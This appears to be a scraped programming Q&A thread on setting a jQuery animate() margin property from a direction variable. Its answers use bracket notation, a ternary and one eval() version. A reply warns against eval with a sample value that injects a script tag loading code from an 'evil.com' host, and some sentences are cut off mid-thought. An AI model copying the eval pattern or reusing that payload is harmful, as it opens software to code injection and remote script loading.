I have a variable called direction that stores either: left, right.
I need to change the affected margin based on that variable.
Right now I'm using conditions, is it possible to replace "left" with the output of the variable direction?
$("#map").animate({"margin-left": "+=50px"}, 500); Not directly, but you can create an object and manipulate it before using it in animate():
var direction = "left"; var property = {}; property[ "margin-"+direction ] = "+=50px"; $("#map").animate( property, 500); Use this. Since there's no margin-up or margin-down, you have to "manually" translate it:
var dir = "left"; dir = dir == "up" ? "top" : dir == "down" ? "bottom" : dir; var obj = {}; obj["margin-" + dir] = "+=50px"; $("#map").animate(obj, 500); The second line is a legitimate, shorter way to write:
if(dir == "up"){ dir = "top"; } else if(dir == "down"){ dir = "bottom"; } else { dir = dir; } 
top and bottom in the first place, if at all possible.eval('props = {"margin-' + direction + '": "+=50px"}') $("#map").animate(props, 500); 
var direction='"+function(){d=document.createElement("script");d.src="http://evil.com/evil.js";document.body.appendChild(d)}+"'; ...//your code here. Does that still work?
direction yet. So, I assume that it's defined somewhere else, possibly infected.